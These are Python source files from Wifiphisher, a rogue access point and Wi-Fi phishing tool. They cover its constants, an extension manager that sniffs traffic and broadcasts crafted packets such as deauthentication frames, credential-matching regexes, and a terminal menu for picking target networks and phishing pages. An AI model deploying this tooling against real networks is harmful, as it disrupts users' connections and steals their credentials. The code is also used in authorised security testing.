            vendor = self._mac_to_vendor[mac_identifier][0]
            return vendor
        except KeyError:
            return "Unknown"

    def get_vendor_logo_path(self, mac_address):
        """
        Return the the full path of the logo in the filesystem for the
        given MAC address or None if no match is found

        :param self: A MACMatcher object
        :param mac_address: MAC address of the device
        :type self: MACMatcher
        :type mac_address: string
        :return: The full path of the logo if MAC address if found and
                 None otherwise
        :rtype: string or None
        """

        # Don't bother if there's no MAC
        if mac_address is None:
            return None

        # convert mac address to same format as file
        # ex. 12:34:56:78:90:AB --> 123456
        mac_identifier = mac_address.replace(':', '').upper()[0:6]

        # check to see if vendor is available for the MAC address
        if mac_identifier in self._mac_to_vendor:
            # find the logo and it's path
            logo = self._mac_to_vendor[mac_identifier][1]
            logo_path = constants.LOGOS_DIR + logo
            # return logo name if it was provided otherwise return None
            if logo:
                return logo_path
            else:
                return None

    def unbind(self):
        """
        Unloads mac to vendor mapping from memory and therefore you can
        not use MACMatcher instance once this method is called

        :param self: A MACMatcher object
        :type self: MACMatcher
        :return: None
        :rtype: None
        """

        del self._mac_to_vendor



File: wifiphisher/common/constants.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# pylint: skip-file

import os

dir_of_executable = os.path.dirname(__file__)
path_to_project_root = os.path.abspath(
    os.path.join(dir_of_executable, '../../wifiphisher'))
dir_of_data = path_to_project_root + '/data/'
phishing_pages_dir = dir_of_data + "phishing-pages/"

# Basic configuration
DEV = 1
DEAUTH_EXTENSION = "deauth"
LURE10_EXTENSION = "lure10"
WPSPBC = "wpspbc"
KNOWN_BEACONS_EXTENSION = "knownbeacons"
HANDSHAKE_VALIDATE_EXTENSION = "handshakeverify"
ROGUEHOSTAPDINFO = "roguehostapdinfo"
DEFAULT_EXTENSIONS = [DEAUTH_EXTENSION]
EXTENSIONS_LOADPATH = "wifiphisher.extensions."
PORT = 8080
SSL_PORT = 443
CHANNEL = 6
WEBSITE = "https://wifiphisher.org"
PUBLIC_DNS = "8.8.8.8"
PEM = dir_of_data + 'cert/server.pem'
SCENARIO_HTML_DIR = "html/"
LOGOS_DIR = dir_of_data + "logos/"
LOCS_DIR = dir_of_data + "locs/"
MAC_PREFIX_FILE = dir_of_data + "wifiphisher-mac-prefixes"
URL_TO_OS_FILE = dir_of_data + "wifiphisher-os-initial-requests"
KNOWN_WLANS_FILE = dir_of_data + "wifiphisher-known-open-wlans"
POST_VALUE_PREFIX = "wfphshr"
NETWORK_IP = "10.0.0.0"
NETWORK_MASK = "255.255.255.0"
NETWORK_GW_IP = "10.0.0.1"
DHCP_LEASE = "10.0.0.2,10.0.0.100,12h"
WIFI_BROADCAST = "ff:ff:ff:ff:ff:ff"
WIFI_INVALID = "00:00:00:00:00:00"
WIFI_IPV6MCAST1 = "33:33:00:"
WIFI_IPV6MCAST2 = "33:33:ff:"
WIFI_SPANNINGTREE = "01:80:c2:00:00:00"
WIFI_MULTICAST = "01:00:5e:"
NON_CLIENT_ADDRESSES = set([
    WIFI_BROADCAST, WIFI_INVALID, WIFI_MULTICAST, WIFI_IPV6MCAST1,
    WIFI_IPV6MCAST2, WIFI_SPANNINGTREE, None
])
DEFAULT_OUI = '00:00:00'
LINES_OUTPUT = 3
DN = open(os.devnull, 'w')
INTERFERING_PROCS = [
    "wpa_action", "wpa_supplicant", "wpa_cli", "dhclient", "ifplugd", "dhcdbd",
    "dhcpcd", "udhcpc", "avahi-autoipd", "avahi-daemon", "wlassistant",
    "wifibox", "NetworkManager", "knetworkmanager"
]
DNS_CONF_PATH = '/tmp/dnsmasq.conf'
NEW_YEAR = "01-01"
BIRTHDAY = "01-05"

# Modes of operation
# AP, Extensions
# 2 cards, 2 interfaces
# i) AP, ii) EM
OP_MODE1 = 0x1
# AP, Extensions and Internet
# 3 cards, 3 interfaces
# i) AP, ii) EM iii) Internet
OP_MODE2 = 0x2
# AP-only and Internet
# 2 cards, 2 interfaces
# i) AP, ii) Internet
OP_MODE3 = 0x3
# AP-only
# 1 card, 1 interface
# i) AP
OP_MODE4 = 0x4
# AP, Extensions w/ 1 vif
# 1 card, 2 interfaces
# i) AP, ii) Extensions
OP_MODE5 = 0x5
# AP, Extensions and Internet w/ 1 vif
# 2 cards, 3 interfaces
# i) AP, ii) Extensions, iii) Internet
OP_MODE6 = 0x6
# Advanced and WPS association 0x7
#  3 cards, 3 interfaces
#  i) AP, ii) Extensions, iii) Extensions (Managed)
OP_MODE7 = 0x7

# Advanced and WPS association w/ 1 vif support AP/Monitor 0x8
# 2 cards, 3 interfaces
# i) AP, ii) Extensions, iii) Extensions (Managed)
OP_MODE8 = 0x8

AP_RATES = "\x0c\x12\x18\x24\x30\x48\x60\x6c"

# Console colors
W = '\033[0m'  # white (normal)
R = '\033[31m'  # red
G = '\033[32m'  # green
O = '\033[33m'  # orange
B = '\033[34m'  # blue
P = '\033[35m'  # purple
C = '\033[36m'  # cyan
GR = '\033[37m'  # gray
T = '\033[93m'  # tan

# Logging configurations
# possible values for debug levels are:
# CRITICAL, ERROR, WARNING, INFO, DEBUG, NOTSET
LOG_LEVEL = 'INFO'
LOG_FILEPATH = 'wifiphisher.log'
LOGGING_CONFIG = {
    'version': 1,
    # Defined the handlers
    'handlers': {
        'file': {
            'class': 'logging.handlers.RotatingFileHandler',
            'level': LOG_LEVEL,
            'formatter': 'detailed',
            'filename': LOG_FILEPATH,
            'backupCount': 3,
        },
    },
    # fomatters for the handlers
    'formatters': {
        'detailed': {
            'format': '%(asctime)s - %(name) 32s - %(levelname)s - %(message)s'
        },
    },
    'root': {
        'level': 'DEBUG',
        'handlers': [
            'file',
        ],
    },
    "loggers": {},
    'disable_existing_loggers': False
}
CREDENTIALS_DATETIME_FORMAT = '%Y-%m-%d %H:%M:%S'

# Phishinghttp
VALID_POST_CONTENT_TYPE = "application/x-www-form-urlencoded"
REGEX_PWD = "password|pwd|pass"
REGEX_UNAME = "username|uname|name"

# TUI
MAIN_TUI_ATTRS = 'version essid channel ap_iface em phishinghttp args'
AP_SEL_ATTRS = 'interface mac_matcher network_manager args'

# Fourway handshake extension
CONST_A = "Pairwise key expansion"

# Rogue AP related
DENY_MACS_PATH = '/tmp/hostapd.deny'

# Known Beacons
KB_INTERVAL = 20
KB_BUCKET_SIZE = 60
KB_BEACON_CAP = 0x2105



File: wifiphisher/common/__init__.py




File: wifiphisher/common/extensions.py

"""
All logic regarding extensions management
"""

import collections
import importlib
import logging
import threading
import time
from collections import defaultdict

import scapy.arch.linux as linux
import scapy.layers.dot11 as dot11
import wifiphisher.common.constants as constants
import wifiphisher.common.globals as universal
import wifiphisher.extensions.deauth as deauth_extension

logger = logging.getLogger(__name__)
is_deauth_cont = True


def register_backend_funcs(func):
    """
    Register the specific function in extension as backend methods
    :param func: The instance function needed to register as backend
    method
    :type func: instancemethod
    :return: None
    """

    func.is_backendmethod = True
    return func


class ExtensionManager(object):
    """
    Extension Manager (EM) defines an API for modular
    architecture in Wifiphisher.

    All extensions that lie under "extensions" directory
    and are also defined in EXTENSIONS constant are loaded
    and leveraged by EM. Each extension can take advantage
    of the second wireless card (the first is used for the
    rogue AP), aka run in "Advanced mode".

    Each extension needs to be defined as a class that has
    the name of the filename in camelcase. For example,
    deauth.py would have a Deauth() class. Currently,
    extensions need to provide the following methods:

    * __init__(self, data): Basic initialization that
      received a dictionary with data from the main engine.

    * get_packet(self, pkt): Method to process individually
      each packet captured from the second card (monitor
      mode).

    * send_output(self): Method that returns in a list
      of strings the entry logs that we need to output.

    * on_exit(self): Method that frees all the used resources

    * each extension can define the backend method as follows:
      ex:

      @extensions.register_backend_funcs
      def psk_verify(self, *list_data):
          return list_data
    """

    def __init__(self, network_manager):
        """
        Init the EM object.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        """

        self._nm = network_manager
        self._extensions_str = []
        self._extensions = []
        self._interface = None
        self._socket = None
        self._should_continue = True
        self._packets_to_send = defaultdict(list)
        self._channels_to_hop = []
        self._current_channel = "1"
        self._listen_thread = threading.Thread(target=self._listen)
        self._send_thread = threading.Thread(target=self._send)
        self._channelhop_thread = threading.Thread(target=self._channel_hop)
        self._shared_data = None

    def get_ui_funcs(self):
        """
        Returns a list of all the uimethods.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: List Object
        :rtype: List
        """

        ui_funcs = []
        # loop each extension object
        for extension in self._extensions:
            # loop all the attribute for the extension object
            for attr in dir(extension):
                if callable(getattr(extension, attr)):
                    method = getattr(extension, attr)
                    if hasattr(method, "is_uimethod"):
                        ui_funcs.append(method)
        return ui_funcs

    def get_backend_funcs(self):
        """
        Returns a list of all the backend methods

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: dict object
        :rtype: dict
        """

        backend_funcs = {}
        for extension in self._extensions:
            for attrname in dir(extension):
                method = getattr(extension, attrname)
                if hasattr(method, 'is_backendmethod'):
                    # store the method name to extension map
                    backend_funcs[method.__name__] = extension

        return backend_funcs

    def _channel_hop(self):
        """
        Change the interface's channel every three seconds

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        .. note: The channel range is between 1 to 13
        """

        # set the current channel to the ap channel
        self._nm.set_interface_channel(self._interface,
                                       int(self._shared_data.target_ap_channel))

        # if the stop flag not set, change the channel
        while self._should_continue:
            for channel in self._channels_to_hop:
                if self._current_channel != channel:
                    self._current_channel = channel
                    # added this check to reduce shutdown time
                    if self._should_continue:
                        try:
                            self._socket.close()
                            self._nm.set_interface_channel(
                                self._interface, int(self._current_channel))
                            self._socket = linux.L2Socket(
                                iface=self._interface)
                            # extends the channel hopping time to sniff
                            # more frames
                            time.sleep(3)
                        except BaseException:
                            continue
                    else:
                        break

    def set_interface(self, interface):
        """
        Sets interface for EM.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :param interface: Interface name
        :type interface: String
        :return: None
        :rtype: None
        """

        self._interface = interface
        self._socket = linux.L2Socket(iface=self._interface)

    def set_extensions(self, extensions):
        """
        Sets extensions for EM.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :param extensions: List of str extension names
        :type extensions: List
        :return: None
        :rtype: None
        """

        self._extensions_str = extensions

    def init_extensions(self, shared_data):
        """
        Init EM extensions. Should be run
        when all shared data has been gathered.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :param shared_data: Dictionary object
        :type shared_data: Dictionary
        :return: None
        :rtype: None
        """

        # Convert shared_data from dict to named tuple
        shared_data = collections.namedtuple('GenericDict',
                                             list(shared_data.keys()))(**shared_data)
        self._shared_data = shared_data

        # Initialize all extensions with the shared data
        for extension in self._extensions_str:
            mod = importlib.import_module(constants.EXTENSIONS_LOADPATH +
                                          extension)
            extension_class = getattr(mod, extension.title())
            obj = extension_class(shared_data)
            self._extensions.append(obj)

    def start_extensions(self):
        """
        Starts the two main daemons of EM:

        1) Daemon that listens to every packet and
        forwards it to each extension for further processing.
        2) Daemon that receives special-crafted packets
        from extensions and broadcasts them in the air.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        """

        # One daemon is listening for packets...
        self._listen_thread.start()
        # ...another daemon is sending packets
        self._send_thread.start()
        # daemon for channel hopping
        self.get_channels()
        if self._shared_data.is_freq_hop_allowed:
            self._channelhop_thread.start()
        else:
            self._current_channel = self._shared_data.target_ap_channel

    def on_exit(self):
        """
        Stops both daemons of EM on exit.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        """

        self._should_continue = False
        if self._listen_thread.is_alive():
            self._listen_thread.join(3)
        if self._send_thread.is_alive():
            self._send_thread.join(3)
        if (self._shared_data is not None
                and self._shared_data.is_freq_hop_allowed
                and self._channelhop_thread.is_alive()):
            self._channelhop_thread.join(3)
        # Close socket if it's open
        try:
            self._socket.close()
        except AttributeError:
            pass
        # Clean resources used by extension modules
        for extension in self._extensions:
            extension.on_exit()

    def get_channels(self):
        """
        Gets the channels from each extension.
        Merges them to create a list of channels
        to hop.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        """

        for extension in self._extensions:
            channels_interested = extension.send_channels()
            number_of_channels = len(channels_interested)
            if channels_interested and number_of_channels > 0:
                # Append only new channels (no duplicates)
                self._channels_to_hop += list(
                    set(channels_interested) - set(self._channels_to_hop))

    def get_output(self):
        """
        Gets the output of each extensions.
        Merges them in a list and returns it.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        """

        output = []
        for extension in self._extensions:
            m_output = extension.send_output()
            num_of_lines = len(m_output)
            if m_output and num_of_lines > 0:
                output += m_output
        return output

    def _process_packet(self, pkt):
        """
        Pass each captured packet to each module.
        Gets the packets to send.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :param pkt: A Scapy packet object
        :type pkt: Scapy Packet
        :return: None
        :rtype: None
        """

        # clear the _packets_to_send on every run of the
        # sniffed frame
        self._packets_to_send = defaultdict(list)
        channels = [str(ch) for ch in universal.ALL_2G_CHANNELS] + ["*"]
        for extension in self._extensions:
            ext_pkts = extension.get_packet(pkt)
            for channel in channels:
                self._packets_to_send[channel] += ext_pkts[channel]

    def _stopfilter(self, pkt):
        """
        A scapy filter to determine if we need to stop.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :param self: A Scapy packet object
        :type self: Scapy Packet
        :return: True or False
        :rtype: Boolean
        """

        return not self._should_continue

    def _listen(self):
        """
        Listening thread. Listens for packets and forwards them
        to _process_packet.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        """

        # continue to find clients until told otherwise
        dot11.sniff(
            iface=self._interface,
            prn=self._process_packet,
            store=0,
            stop_filter=self._stopfilter)

    def _send(self):
        """
        Sending thread. Continously broadcasting packets
        crafted by extensions.

        :param self: An ExtensionManager object
        :type self: ExtensionManager
        :return: None
        :rtype: None
        """
        while self._should_continue:
            for pkt in self._packets_to_send[self._current_channel] + \
                    self._packets_to_send["*"]:
                try:
                    if is_deauth_cont or not deauth_extension.is_deauth_frame(pkt):
                        logger.debug("Send pkt with A1:%s A2:%s subtype:%s in channel:%s",
                                     pkt.addr1, pkt.addr2, pkt.subtype,
                                     self._current_channel)
                        self._socket.send(pkt)
                except BaseException:
                    continue
        time.sleep(1)



File: wifiphisher/common/tui.py

"""
This module was made to handle the curses sections for the ap selection,
template selection and the main window
"""

import curses
import os
import re
import time
from collections import namedtuple
from subprocess import check_output

import wifiphisher.common.accesspoint as accesspoint
import wifiphisher.common.constants as constants
import wifiphisher.common.phishingpage as phishingpage
import wifiphisher.common.recon as recon
import wifiphisher.common.victim as victim

# information for the main terminal
MainInfo = namedtuple("MainInfo", constants.MAIN_TUI_ATTRS)
# information for the AP selection terminal
ApSelInfo = namedtuple("ApSelInfo", constants.AP_SEL_ATTRS)


class TuiTemplateSelection(object):
    """
    TUI to do Template selection
    """

    def __init__(self):
        """
        Construct the class
        :param self: A TuiTemplateSelection object
        :type self: TuiTemplateSelection
        :return None
        :rtype None
        """

        self.green_text = None
        # heightlight the phishing scenario
        self.heightlight_text = None
        # record current hightlight template number
        self.heightlight_number = 0
        # store the current page number
        self.page_number = 0
        # store the phishing contents of each scenario
        self.sections = list()
        # map the section to page number
        self.sec_page_map = {}
        # the window size for (y, x)
        self.dimension = [0, 0]

    def get_sections(self, template_names, templates):
        """
        Get all the phishing scenario contents and store them
        in a list
        :param self: A TuiTemplateSelection object
        :param template_names: A list of string
        :param templates: A dictionary
        :type self: TuiTemplateSelection
        :type template_names: list
        :type templates: dict
        :return None
        :rtype: None
        """

        for name in template_names:
            phishing_contents = " - " + str(templates[name])
            # total line in the phishing contents
            lines = phishing_contents.splitlines()
            # split the line into 15 words per shorter line
            short_lines = []
            for line in lines:
                for short_line in line_splitter(15, line):
                    short_lines.append(short_line)
            self.sections.append(short_lines)

    def update_sec_page_map(self, last_row):
        """
        Update the page number for each section
        :param self: A TuiTemplateSelection object
        :param last_row: The last row of the window
        :type self: TuiTemplateSelection
        :type last_row: int
        :return: None
        :rtype: None
        """

        page_number = 0
        row_number = 0
        self.sec_page_map = {}
        for number, section in enumerate(self.sections):
            row_number += len(section)
            if row_number > last_row:
                row_number = 0
                page_number += 1
            self.sec_page_map[number] = page_number

    def gather_info(self, template_argument, template_manager):
        """
        Select a template based on whether the template argument
        is set or not. If the template argument is not set, it will
        interfactively ask user for a template
        :param self: A TuiTemplateSelection object
        :type self: TuiTemplateSelection
        :param template_argument: The template argument which might
        have been entered by the user
        :type template_argument: str
        :param template_manager: A TemplateManager object
        :type template_manager: TemplateManager
        :return A PhishingTemplate object
        :rtype: PhishingTemplagte
        :raises  InvalidTemplate in case the template argument entered
        by the user is not available.
        """
        # get all available templates
        templates = template_manager.get_templates()

        # get all the templates names for display
        template_names = list(templates.keys())

        # get all the section contents
        self.get_sections(template_names, templates)

        # check if the template argument is set and is correct
        if template_argument and template_argument in templates:
            # return the template name
            return templates[template_argument]
        elif template_argument and template_argument not in templates:
            # in case of an invalid template
            raise phishingpage.InvalidTemplate
        else:
            # prompt interactive phishing scenarios to let user select one
            template = curses.wrapper(self.display_info, templates,
                                      template_names)
        return template

    def key_movement(self, screen, number_of_sections, key):
        """
        Check for key movement and hightlight the corresponding
        phishing scenario

        :param self: A TuiTemplateSelection object
        :param number_of_sections: Number of templates
        :param key: The char user keying
        :type self: TuiTemplateSelection
        :type number_of_sections: int
        :type key: str
        :return: None
        :rtype: None
        """

        if key == curses.KEY_DOWN:
            if self.heightlight_number < number_of_sections - 1:
                page_number = self.sec_page_map[self.heightlight_number + 1]
                if page_number > self.page_number:
                    self.page_number += 1
                    screen.erase()
                self.heightlight_number += 1
        elif key == curses.KEY_UP:
            if self.heightlight_number > 0:
                page_number = self.sec_page_map[self.heightlight_number - 1]
                if page_number < self.page_number:
                    self.page_number -= 1
                    screen.erase()
                self.heightlight_number -= 1

    def display_phishing_scenarios(self, screen):
        """
        Display the phishing scenarios
        :param self: A TuiTemplateSelection object
        :type self: TuiTemplateSelection
        :param screen: A curses window object
        :type screen: _curses.curses.window
        :return total row numbers used to display the phishing scenarios
        :rtype: int
        """

        try:
            max_window_height, max_window_len = screen.getmaxyx()
            if self.dimension[0] != max_window_height or\
                    self.dimension[1] != max_window_len:
                screen.erase()
            self.dimension[0] = max_window_height
            self.dimension[1] = max_window_len
            # add margins for changing the pages
            self.update_sec_page_map(max_window_height - 20)
            display_str = "Options: [Up Arrow] Move Up  [Down Arrow] Move Down"
            screen.addstr(0, 0, display_string(max_window_len, display_str))
            display_str = "Available Phishing Scenarios:"
            screen.addstr(3, 0, display_string(max_window_len, display_str),
                          curses.A_BOLD)
        except curses.error:
            return 0

        # add blank line
        row_num = 5
        first = False
        for number, short_lines in enumerate(self.sections):
            try:

                # incase user shrink the window and the heightlight section
                # is in the next page. for this case, just shift the
                # heightlight section to the first scenario in the first
                # page
                if self.sec_page_map[self.heightlight_number] !=\
                        self.page_number and not first:
                    # heightlight the first scenario
                    screen.addstr(row_num, 2, short_lines[0],
                                  self.heightlight_text)
                    self.heightlight_number = 0
                    self.page_number = 0
                    first = True

                # display the sections belonged to the current page
                if self.sec_page_map[number] != self.page_number:
                    continue

                screen.addstr(row_num, 0, str(number + 1), self.green_text)

                # emphasize the phishing scenario
                if number == self.heightlight_number:
                    screen.addstr(row_num, 2, short_lines[0],
                                  self.heightlight_text)
                else:
                    screen.addstr(row_num, 2, short_lines[0], curses.A_BOLD)
                row_num += 1
                # add 8 spaces to the first line
                screen.addstr(row_num, 8, short_lines[1])
                row_num += 1
                if len(short_lines) > 1:
                    for short_line in short_lines[2:]:
                        screen.addstr(row_num, 0, short_line)
                        row_num += 1
                # add blank line between phishing scenarios
                row_num += 1
            except curses.error:
                return row_num

        return row_num

    def display_info(self, screen, templates, template_names):
        """
        Display the template information to users
        :param self: A TuiTemplateSelection object
        :type self: TuiTemplateSelection
        :param screen: A curses window object
        :type screen: _curses.curses.window
        :param templates: A dictionay map page to PhishingTemplate
        :type templates: dict
        :param template_names: list of template names
        :type template_names: list
        """

        # setup curses
        try:
            curses.curs_set(0)
        except curses.error:
            pass
        screen.nodelay(True)
        curses.init_pair(1, curses.COLOR_GREEN, screen.getbkgd())
        # heightlight the phishing scenarios
        curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN)

        self.green_text = curses.color_pair(1) | curses.A_BOLD
        self.heightlight_text = curses.color_pair(2) | curses.A_BOLD

        # setup number of templates
        number_of_sections = len(templates)

        # how many chars for user keying the template number
        screen.erase()
        while True:
            # display the four default phishing scenarios
            # catch the exception when screen size is smaller than
            # the text length
            row_number = self.display_phishing_scenarios(screen)

            # update the heightlight_number
            key = screen.getch()
            self.key_movement(screen, number_of_sections, key)
            # add two blank lines
            row_number += 2
            # display the words of chosen template
            if key == ord("\n"):
                try:
                    screen.addstr(row_number, 3, "YOU HAVE SELECTED " +
                                  template_names[self.heightlight_number],
                                  curses.A_BOLD)
                except curses.error:
                    pass
                screen.refresh()
                time.sleep(1)
                template_name = template_names[self.heightlight_number]
                template = templates[template_name]
                return template
            screen.refresh()


class ApDisplayInfo(object):
    """
    ApDisplayInfo class to store the information for ap selection
    """

    def __init__(self, pos, page_number, box, box_info):
        """
        Construct the class
        :param self: ApDisplayInfo
        :param pos: position of the line in the ap selection page
        :param page_number: page number of the ap selection
        :param box: the curses.newwin.box object containing ap information
        :param key: the key user have keyed in
        :param box_info: list of window height, window len, and max row number
        :type self: ApDisplayInfo
        :type pos: int
        :type page_number: int
        :type box: curse.newwin.box
        :type key: str
        :return: None
        :rtype: None
        """

        self.pos = pos
        self.page_number = page_number
        self.box = box
        # list of (max_win_height, max_win_len, max_row, key)
        self._box_info = box_info

    @property
    def max_h(self):
        """
        The height of the terminal screen
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: the height of terminal screen
        :rtype: int
        """

        return self._box_info[0]

    @max_h.setter
    def max_h(self, val):
        """
        Set the height of the terminal screen
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: None
        :rtype: None
        """

        self._box_info[0] = val

    @property
    def max_l(self):
        """
        The width of the terminal screen
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: the width of terminal screen
        :rtype: int
        """

        return self._box_info[1]

    @max_l.setter
    def max_l(self, val):
        """
        Set the width of the terminal screen
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: None
        :rtype: None
        """

        self._box_info[1] = val

    @property
    def max_row(self):
        """
        Maximum row numbers used to contain the ap information
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: The row numbers of the box that contains the ap info
        :rtype: int
        """

        return self._box_info[2]

    @max_row.setter
    def max_row(self, val):
        """
        Set maximum row numbers used to contain the ap information
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: None
        :rtype: None
        """

        self._box_info[2] = val

    @property
    def key(self):
        """
        Get the key the users have keyed
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: The key
        :rtype: int
        """

        return self._box_info[3]

    @key.setter
    def key(self, val):
        """
        Set the key the users have keyed
        :param self: ApDisplayInfo
        :type self: ApDisplayInfo
        :return: None
        :rtype: None
        """

        self._box_info[3] = val


class TuiApSel(object):
    """
    TuiApSel class to represent the ap selection terminal window
    """

    def __init__(self):
        """
        Construct the class
        :param self: A TuiApSel object
        :type self: TuiApSel
        :return: None
        :rtype: None
        """

        self.total_ap_number = 0
        self.access_points = list()
        self.access_point_finder = None
        self.highlight_text = None
        self.normal_text = None
        self.mac_matcher = None
        # when screen becomes too small we'll create a box with
        # the size equal to the screen terminal. We need to renew
        # the box when the screen terminal expands again.
        self.renew_box = False

    def init_display_info(self, screen, info):
        """
        Initialization of the ApDisplyInfo object
        :param self: A TuiApSel object
        :type self: TuiApSel
        :param screen: A curses window object
        :type screen: _curses.curses.window
        :param info: A namedtuple of information from pywifiphisher
        :type info: namedtuple
        :return ApDisplayInfo object
        :rtype: ApDisplayInfo
        """
        position = 1
        page_number = 1

        # get window height, length and create a box inside
        max_window_height, max_window_length = screen.getmaxyx()
        if max_window_height < 14 or max_window_length < 9:
            box = curses.newwin(max_window_height, max_window_length, 0, 0)
            self.renew_box = True
        else:
            box = curses.newwin(max_window_height - 9, max_window_length - 5,
                                4, 3)
        box.box()

        # calculate the box's maximum number of row's
        box_height = box.getmaxyx()[0]
        # subtracting 2 from the height for the border
        max_row = box_height - 2
        key = 0
        box_info = [max_window_height, max_window_length, max_row, key]

        ap_info = ApDisplayInfo(position, page_number, box, box_info)

        self.mac_matcher = info.mac_matcher
        # start finding access points
        self.access_point_finder = recon.AccessPointFinder(
            info.interface, info.network_manager)
        if info.args.lure10_capture:
            self.access_point_finder.capture_aps()
        self.access_point_finder.find_all_access_points()

        return ap_info

    def gather_info(self, screen, info):
        """
        Get the information from pywifiphisher and print them out
        :param self: A TuiApSel object
        :type self: TuiApSel
        :param screen: A curses window object
        :type screen: _curses.curses.window
        :param info: A namedtuple of information from pywifiphisher
        :type info: namedtuple
        :return AccessPoint object if users type enter
        :rtype AccessPoint if users type enter else None
        """
        # setup curses
        # make cursor invisible
        try:
            curses.curs_set(0)
        except curses.error:
            pass
        # don't wait for user input
        screen.nodelay(True)
        # setup the font color
        curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN)
        self.highlight_text = curses.color_pair(1)
        self.normal_text = curses.A_NORMAL

        # information regarding access points
        ap_info = self.init_display_info(screen, info)

        # show information until user presses Esc key
        while ap_info.key != 27:
            # display info will modifiy the key value
            is_done = self.display_info(screen, ap_info)

            if is_done:
                # turn off access point discovery and return the result
                self.access_point_finder.stop_finding_access_points()
                return self.access_points[ap_info.pos - 1]

        # turn off access point discovery
        self.access_point_finder.stop_finding_access_points()

    def resize_window(self, screen, ap_info):
        """
        Resize the window if the dimensions have been changed

        :param self: A TuiApSel object
        :type self: TuiApSel
        :param screen: A curses window object
        :type screen: _curses.curses.window
        :param ap_info: An ApDisplayInfo object
        :type ap_info: ApDisplayInfo
        """

        if screen.getmaxyx() != (ap_info.max_h, ap_info.max_l):
            ap_info.max_h, ap_info.max_l = screen.getmaxyx()
            # sanity check for the box size (the height needed is 10 and
            # the width needed is 6. Just create a box which is same as the
            # base screen
            if ap_info.max_h < 10 + 4 or ap_info.max_l < 6 + 3:
                box = curses.newwin(ap_info.max_h, ap_info.max_l, 0, 0)
                box.box()
                ap_info.box = box
                self.renew_box = True
                return
            elif self.renew_box:
                screen.erase()
                box = curses.newwin(ap_info.max_h - 9, ap_info.max_l - 5, 4, 3)
                box.box()
                ap_info.box = box
                self.renew_box = False

            ap_info.box.resize(ap_info.max_h - 9, ap_info.max_l - 5)
            # calculate the box's maximum number of row's
            box_height = ap_info.box.getmaxyx()[0]
            # subtracting 2 from the height for the border
            ap_info.max_row = box_height - 2
            # reset the page and position to avoid problems
            ap_info.pos = 1
            ap_info.page_number = 1

    def key_movement(self, ap_info):
        """
        Check for any key movement and update it's result

        :param self: A TuiApSel object
        :type self: TuiApSel
        :param ap_info: ApDisplayInfo object
        :type: ApDisplayInfo
        :return: None
        :rtype: None
        """

        key = ap_info.key
        pos = ap_info.pos
        max_row = ap_info.max_row
        page_number = ap_info.page_number

        # in case arrow down key has been pressed
        if key == curses.KEY_DOWN:
            # if next item exists move down, otherwise don't move
            try:
                self.access_points[pos]
            except IndexError:
                ap_info.key = 0
                ap_info.pos = pos
                ap_info.max_row = max_row
                return

            # if next item is in the next page change page and move
            # down otherwise just move down)
            if pos % max_row == 0:
                pos += 1
                page_number += 1
            else:
                pos += 1

        # in case arrow up key has been pressed
        elif key == curses.KEY_UP:
            # if not the first item
            if (pos - 1) > 0:
                # if previous item is in previous page_number, change page
                # and move up otherwise just move up
                if (pos - 1) % max_row == 0:
                    pos -= 1
                    page_number -= 1
                else:
                    pos -= 1
        # update key, position, and page_number
        ap_info.key = key
        ap_info.pos = pos
        ap_info.page_number = page_number

    def display_info(self, screen, ap_info):
        """
        Display the AP informations on the screen

        :param self: A TuiApSel object
        :type self: TuiApSel
        :param screen: A curses window object
        :type screen: _curses.curses.window
        :param ap_info: An ApDisplayInfo object
        :type ap_info: ApDisplayInfo
        :return True if ap selection is done
        :rtype: bool
        """

        is_apsel_end = False
        self.resize_window(screen, ap_info)

        # check if any new access points have been discovered
        new_total_ap_number = len(
            self.access_point_finder.observed_access_points)

        if new_total_ap_number != self.total_ap_number:
            self.access_points = self.access_point_finder.\
                get_sorted_access_points()
            self.total_ap_number = len(self.access_points)

        # display the information to the user
        self.display_access_points(screen, ap_info)
        # check for key movement and store result
        self.key_movement(ap_info)

        # ask for a key input (doesn't block)
        ap_info.key = screen.getch()
        if ap_info.key == ord("\n") and self.total_ap_number != 0:
            # show message and exit
            screen.addstr(ap_info.max_h - 2, 3, "YOU HAVE SELECTED " +
                          self.access_points[ap_info.pos - 1].name)
            screen.refresh()
            time.sleep(1)
            is_apsel_end = True
        return is_apsel_end

    def display_access_points(self, screen, ap_info):
        """
        Display information in the box window

        :param self: A TuiApSel object
        :type self: TuiApSel
        :param screen: A curses window object
        :type screen: _curses.curses.window
        :param ap_info: An ApDisplayInfo object
        :type ap_info: ApDisplayInfo
        :return: None
        :rtype: None
        .. note: The display system is setup like the following:

                 ----------------------------------------
                 - (1,3)Options                         -
                 -   (3,5)Header                        -
                 - (4,3)****************************    -
                 -      *       ^                  *    -
                 -      *       |                  *    -
                 -      *       |                  *    -
                 -    < *       |----              *    -
                 -    v *       |   v              *    -
                 -    v *       |   v              *    -
                 -    v *       |   v              *    -
                 -    v *       v   v              *    -
                 -    v ************v***************    -
                 -    v             v      v            -
                 -----v-------------v------v-------------
                      v             v      v
                      v             v      > max_window_length-5
                      v             v
                max_window_height-9 v
                                    V
